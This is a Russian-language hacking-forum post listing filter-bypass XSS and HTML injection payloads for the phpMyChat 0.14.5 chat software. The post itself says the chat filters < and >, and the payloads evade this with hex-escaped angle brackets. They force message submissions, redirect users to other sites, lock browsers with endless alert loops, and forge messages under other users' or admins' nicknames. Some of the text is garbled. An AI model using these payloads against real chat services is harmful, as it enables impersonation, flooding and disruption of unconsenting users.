Форум АНТИЧАТ - phpMyChat 0.14.5

ну вот,,, там фильтрация идет : < >,, жду + к репутации/// ещё можешь на секюр-лабе посмотреть

Цитата:

ФЛУД
\x3cscript\x3ewindow.parent.window.input.document. MsgForm.M.value="текст!!!!";window.parent.win dow.input.document.MsgForm.submit()\x3c/script\x3e\ ...\x3center/

МЕНЯЕТ КНОПКУ
\x3cscript language="JavaScript"\x3ewindow.parent.frames['input'].window.document.forms['MsgForm'].elements['sendForm'].value="ТЕКСТ"\x3b\x3c/script\x3e\x3c/font\x3e

ВСТАВЛЯЕТ МУЗЫКУ
\x3cBGSOUND SRC="http\x3a//http://www2.music.lbn.ru//cgi-bin/banner/40?10780&login=midiru&referer=http%3A%2F%2Fwww.adn et.ru%2Fcgi-bin%2Fiframe%2Fmidi" LOOP="-1" BALANCE"-5000" VOLUME="0"\x3e
\x3cBGSOUND SRC="http\x3a//АДРЕС" LOOP="-1" BALANCE"-5000" VOLUME="0"\x3e

ВЫВОДИТ ОКНО
\x3cscript language="JavaScript"\x3ewindow.alert("ТЕКСТ" )\x3b\x3c/script\x3e\x3cfo nt\ x3e\x3c/font\x3e
\x3cscript language="JavaScript" \x3e for (x=1\x3bx \x3c100000\x3b++x) { alert(x)\x3b } while (x\x3e0) \x3b\x3c/script\x3e\x3c/font\x3e\x3c/FONT\x3e\x3c/P\x3e

ВСТАВЛЯЕТ КАРТИНКУ
\x3cimg src="http\x3a//cards.yandex.ru/cards/66163134a1a9adf6e22458864dadc176.jpg" name="imaga"\x3e
195.161.118.159/2838/2838338_11.gif
195.161.118.159/2837/2837048_24.gif

ИЗМЕНЯЕТ РАЗМЕР ШРИФТА
\x3cfont size="2px"\x3e\x3c/font\x3e

ВСТАВЛЕННЫЙ ТЕКСТ
\x3cfont color=`#dc0799` size=9\x3e ТЕКСТ \x3cfont color=`#dc0799` size=2\x3e
\x3cfont color=`#000000` size=9\x3e ТЕКСТ \x3cfont color=`#000000` size=3\x3e

ПЕРЕВОД НА САЙт
\x3cscript language="JavaScript"\x3ewindow.parent.frames['input'].window.document.location="http\x3a//www.yandex.ru"\x3b\x3c/script\x3e\x3cfont\x3e\x3c/font\x3e
\x3cscript language="JavaScript"\x3ewindow.parent.frames['input'].window.document.location="http\x3a//www.ya.ru"\x3b\x3c/script\x3e\x3cfont\x3e\x3c/font\x3e

ТЕКСТ ДВИГАЕТСЯ
\x3cmarquee behavior=`alternate` bgcolor=`black`\x3e\x3c/marquee

ЗАЧЕРКИВАЕТ ВСЕ И ДВИЖЕТСЯ
\x3ch1 \x3e ТЕКСТ \x3c/h1 \x3e\x3cmarquee behavior=`alternate` scrollamount=`15` width=`650` direction=`up`\x3e \x3cs \x3e \x3csmall \x3e

ВСТВЛЯЕШЬ ЛЮБОЙ НИК И ПИШЕШЬ, ЧТО ХОЧЕШЬ)
\x3cbr\x3e\x3cP CLASS="msg"\x3e\x3cSPAN CLASS="time"\x3e00\x3a00\x3a00\x3c/SPAN\x3e \x3cB\x3e[\x3cA HREF="#" onClick="window.parent.АДМИНClick('АДМИ', true)\x3b return false" CLASS="sender"\x3eDama_Пик\x3c/A\x3e]\x3cBDO dir="LTR"\x3e\x3c/BDO\x3e\x3c/B\x3e \x3cFONT\x3e
\x3cbr\x3e\x3cP CLASS="msg"\x3e\x3cSPANCLASS="time"\x3e02\x3a56\x3 a54\x3c/SPAN\x3e \x3cB\x3e[\x3cAHREF="#"onClick="window.parent.userClick('Lel a',true)\x3b returnfalse" CLASS="sender"\x3eИМЯ\x3c/A\x3e]\x3cBDOdir="LTR"\x3e\x3c/BDO\x3e\x3c/B\x3e \x3cFONT\x3e ТЕКСТ\x3c/font\

ШРИФТ ВЫКИДЫВАЕТ ИЗ ВРЕМЕНИ
\x3cbr\x3e\x3cP CLASS="msg"\x3e\x3cSPAN CLASS="time"\x3e00\x3a00\x3a00\x3cSPAN CLASS="notify" HREF="#" onClick="window.parent.АДМИНClick('M[@]D',notify)\x3b return false" CLASS="sender"\x3eПривет всем\x3c/A\x3e\x3cBDO dir="LTR"\x3e\x3c/BDO\x3e\x3c/B\x3e \x3cFONT\x3e

Изменяет вид шрифта
\x3cfont face="Comic Sans MS"\x3e\x3c/font\x3e Lucida Console

замена фона
\x3cbody background="http\x3a//АДРЕС"\x3e

кнопка
\x3cINPUT type=submit value="Привет!" name INPUT\x3e

Фиг знает что такое
\x3cbr\x3e\x3cP CLASS="msg"\x3e\x3cSPANCLASS="time"\x3e00\x3a00\x3 a00\x3cSPAN CLASS="notify"HREF="#"onClick="window.parent.АД� �ИНClick('M[@]D',notify)\x3b returnfalse" CLASS="sender"\x3eа ТЕКСТ\x3c/A\x3e\x3cBDO dir="LTR"\x3e\x3c/BDO\x3e\x3c/B\x3e\x3cFONT\x3e